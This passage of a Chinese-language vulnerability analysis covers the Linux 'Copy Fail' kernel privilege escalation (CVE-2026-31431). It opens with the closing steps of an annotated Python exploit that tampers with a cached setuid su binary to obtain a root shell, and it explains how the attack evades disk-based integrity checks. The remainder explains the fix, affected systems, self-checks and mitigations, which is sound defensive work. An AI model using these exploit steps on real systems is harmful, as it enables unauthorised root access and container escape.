crypto_authenc_esn_decrypt() # → scatterwalk_map_and_copy 写 4 字节到 page cache # → HMAC 校验失败返回 -EBADMSG # → 但 4 字节已经写入无法撤销 try: req_fd.recv(recv_len) except OSError: pass# 预期的错误page cache 已被修改 # ═══════════════════════════════════════════════════════════════ # Step 4: 执行被篡改的 setuid 二进制 → ROOT! # execve 从 page cache 加载二进制不是磁盘 # page cache 中的 /usr/bin/su 已包含 shellcode # 因为 su 是 setuid-rootshellcode 以 UID 0 运行 # ═══════════════════════════════════════════════════════════════ os.execve(/usr/bin/su, [su], os.environ) # → root shell关键特性HMAC 校验必然失败ciphertext 是伪造的recvmsg()返回错误但authencesn的 scratch write 在 HMAC 计算之前就已发生Page cache 一旦被修改不会被标记为 dirty——内核认为没人写过文件execve()加载二进制时读的是 page cache → 执行被篡改版本磁盘上的文件完好无损——sha256sum /usr/bin/su不会报错整条链路无竞态、无重试、无 crash、100% 确定性6. 修复 Commit 解剖Herbert Xu内核 crypto maintainer的修复 a664bf3d603d 非常干脆——彻底回退 in-place 优化让 src 和 dst 分离// 文件crypto/algif_aead.c — _aead_recvmsg() // 修复后的代码commit a664bf3d603d /* 创建独立的 TX SGL — 完整包含所有 splice 进来的页 */ processed used ctx-aead_assoclen; areq-tsgl_entries af_alg_count_tsgl(sk, processed); if (!areq-tsgl_entries) areq-tsgl_entries 1; areq-tsgl sock_kmalloc(sk, array_size(sizeof(*areq-tsgl), areq-tsgl_entries), GFP_KERNEL); if (!areq-tsgl) { err -ENOMEM; gotofree; } sg_init_table(areq-tsgl, areq-tsgl_entries); af_alg_pull_tsgl(sk, processed, areq-tsgl); tsgl_src areq-tsgl; /* 只拷贝 AAD 部分到 RX buffer不再拷贝整个 CT Tag*/ rsgl_src areq-first_rsgl.sgl.sgt.sgl; memcpy_sglist(rsgl_src, tsgl_src, ctx-aead_assoclen); // ✅ 只拷贝 AAD /* ✅ 关键修复src 和 dst 分离 */ aead_request_set_crypt(areq-cra_u.aead_req, tsgl_src, // src TX SGL含 page cache 页只读 areq-first_rsgl.sgl.sgt.sgl, // dst RX SGL用户 buffer可写 used, ctx-iv); // req-src ≠ req-dst // authencesn 写 dst → 写的是用户 buffer → page cache 安全Commit message 一句话点明根因There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.修复前后内存布局对比┌─── 修复前in-place— 危险 ❌ ──────────────────────────────────┐ │ │ req-src ──┐ │ ├──→ [AAD||CT (user buf)] ──sg_chain──→ [Tag (PAGE CACHE)] │ req-dst ──┘ ↑ │ authencesn 写这里 │ → page cache 被篡改 └────────────────────────────────────────────────────────────────────┘ ┌─── 修复后out-of-place— 安全 ✅ ────────────────────────────────┐ │ │ req-src ──→ TX SGL [AAD||CT||Tag (page cache)] ← 只读路径 │ 不会被写入 │ │ req-dst ──→ RX SGL [user buffer] ← 可写但安全 │ ↑ authencesn 写这里 │ → 写的是用户自己的 buffer无害 └──────────────────────────────────────────────────────────────────────┘Diff 统计删除 70 行新增 25 行。整个sg_chain()机制和加解密分路的 in-place 逻辑全部移除。7. 为什么这么隐蔽取证噩梦隐蔽维度原因磁盘文件不变写入的是 page cache内存writeback 不会把 corrupted page 刷回磁盘校验和不报警rpm -V、debsums、AIDE 都比对磁盘内容 → 看不出问题无竞态直线逻辑不需要 race → 不会留下异常 crash 日志无内核日志recvmsg()返回-EBADMSGHMAC 失败→ 正常错误码跨容器Page cache 是宿主机级别共享 → 容器 A 的写入对容器 B 可见重启自愈重启后 page cache 清空文件从磁盘重新加载 →证据消失一个攻击者可以在不留下任何持久痕迹的情况下拿到 root执行操作后重启机器一切恢复原样。这是取证噩梦。8. 影响范围你的系统在不在名单上研究员实测验证发行版内核版本状态Ubuntu 24.04 LTS6.17.0-1007-aws❌ 受影响Amazon Linux 20236.18.8-9.213.amzn2023❌ 受影响RHEL 10.16.12.0-124.45.1.el10_1❌ 受影响SUSE 166.12.0-160000.9-default❌ 受影响Debian / Arch / Fedora / Rocky / Alma / Oracle Linux—❌ 全部受影响Ubuntu 16.04 / 14.04—✅ 太老反而安全自检命令# 1. 检查内核版本 uname -r # 2. 检查 algif_aead 是否编译进内核 zcat /proc/config.gz 2/dev/null | grep CONFIG_CRYPTO_USER_API_AEAD # 或 grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r) # 3. 检查模块是否已加载 lsmod | grep algif_aead # 4. 检查 authencesn 是否可用 cat /proc/crypto | grep -i name.*authencesn # 如果输出 CONFIG_CRYPTO_USER_API_AEADy 或 m → 你受影响高危场景速查表风险等级场景后果 极高多租户主机、共享开发机、跳板机任意用户变 root 极高Kubernetes / 容器集群跨容器、跨租户提权page cache 共享 极高CI/CD 构建机GitHub Actions / GitLab Runner / JenkinsPR 代码可以拿到构建机 root 极高云 SaaS 用户代码沙箱、Notebook 主机租户变宿主机 root 中等单租户生产服务器配合 Web RCE 实现完整链 较低单用户开发笔记本仍能本地提权但风险面小9. 修复方案方案 A升级内核首选确保内核包含修复 commit a664bf3d603d# Ubuntu / Debian sudo apt update sudo apt upgrade -y linux-image-generic sudo reboot # RHEL / Rocky / Alma / CentOS sudo dnf update kernel sudo reboot # Arch sudo pacman -Syu linux sudo reboot # Fedora sudo dnf upgrade --refresh kernel sudo reboot方案 B禁用模块紧急缓解无需重启# 立即卸载模块 sudo rmmod algif_aead 2/dev/null # 永久阻止加载 echo install algif_aead /bin/false | \ sudo tee /etc/modprobe.d/disable-algif-aead.conf # 验证 lsmod | grep algif # 应无输出⚠️副作用如果你的系统有使用 AF_ALG AEAD 的应用某些 IPsec userspace 工具、dm-crypt 配置禁用后可能功能异常。先确认无应用依赖再禁用。方案 CSeccomp 拦截容器场景{ names: [socket], action: SCMP_ACT_ERRNO, errnoRet: 1, args: [ {index: 0, value: 38, op: SCMP_CMP_EQ} ] }AF_ALG 38直接在 seccomp profile 中禁止创建该类型 socket。Kubernetes 中通过securityContext.seccompProfile配置。10. 与历史 LPE 漏洞对比维度Dirty COW (2016)Dirty Pipe (2022)Copy Fail (2026)CVECVE-2016-5195CVE-2022-0847CVE-2026-31431原语COW race → 写只读映射pipe splice → 写任意文件AEAD scratch → 写 page cache可靠性需要 race~90%版本敏感100% 确定性所需知识内核偏移/版本pipe 内部状态无PoC 大小~3KB C~1KB C732B Python容器逃逸❌有限✅ 完整磁盘痕迹磁盘被修改磁盘被修改磁盘不变潜伏年数9 年1 年9 年Copy Fail 在可靠性、隐蔽性、易用性上都是全面升级。11. 为什么 9 年没人发现1. 代码路径冷门algif_aeadspliceauthencesn这条组合路径在正常使用中几乎不会被触发。IPsec 用户态很少通过 AF_ALG 走 authencesn。2. 每段代码单独看都正确authencesn用 dst 做 scratch → 在 IPsec 内部调用时完全合法splice()送 page cache 页 → 零拷贝设计正确sg_chain()链入 tag 页 → 内存管理角度没错3. API contract 是隐式的AEAD API没有文档说算法不能写超出assoclen cryptlen的区域。这是一个未写明的假设。GCM、CCM、普通 authenc 都遵守了这个潜规则只有 authencesn 打破了它。4. Fuzzer 的盲区syzkaller 能生成 AF_ALG 请求但难以构造出精确触发 authencesn scratch write 验证 page cache 被修改的测试用例。传统 fuzzer 关注 crash而这个漏洞不会 crash。5. AI 辅助研究改变了游戏规则Xint Code 团队在https://xint.io/blog/copy-fail-linux-distributions中明确表示研究员提供了攻击面洞察splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists.AI 工具在整个 crypto 子系统中系统化扫描约1 小时后定位到这个最高危的交叉点。过去需要数月人工审计的工作效率提升了数个数量级。12. 关键链接汇总资源链接官方披露站https://copy.fail/Xint 深度分析https://xint.io/blog/copy-fail-linux-distributionsPoC 仓库https://github.com/theori-io/copy-fail-CVE-2026-31431引入漏洞 commithttps://github.com/torvalds/linux/commit/72548b093ee3 2017修复 commithttps://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 2026-04-01authencesn 原始 commithttps://github.com/torvalds/linux/commit/a5079d084f8b 2011authencesn 新接口转换https://github.com/torvalds/linux/commit/104880a6b470 2015NVD 详情https://nvd.nist.gov/vuln/detail/CVE-2026-31431Ubuntu 安全通告https://ubuntu.com/security/CVE-2026-31431Ubuntu 修复讨论https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498Microsoft 安全博客https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalationPalo Alto Unit42https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/oss-security 邮件列表https://seclists.org/oss-sec/2026/q2/281Hacker News 讨论https://news.ycombinator.com/item?id4795218113. 结语Copy Fail 是一个教科书级别的组合漏洞——没有任何单一模块有 bugbug 存在于三个子系统的交互界面上。它提醒我们隐式 API contract 是定时炸弹— 如果 AEAD API 明确约束算法不能写超出 output boundary这个漏洞在 2011 年就不会被引入。零拷贝优化需要审计数据来源—splice()让内核数据结构持有 page cache 引用任何后续写路径都可能造成跨权限污染。Page cache 是全局共享的— 这不仅是 LPE更是容器逃逸原语。在 K8s 环境中Pod → Node → 整个集群。AI 正在改变漏洞研究效率— 过去需要数月人工审计的交叉引用分析现在可以在小时级完成。你的行动清单检查内核版本 → 确认algif_aead状态 → 升级或缓解 → 检查 CI/CD runner 和容器集群。5 分钟自查可能救你一次 root 被拿的事故。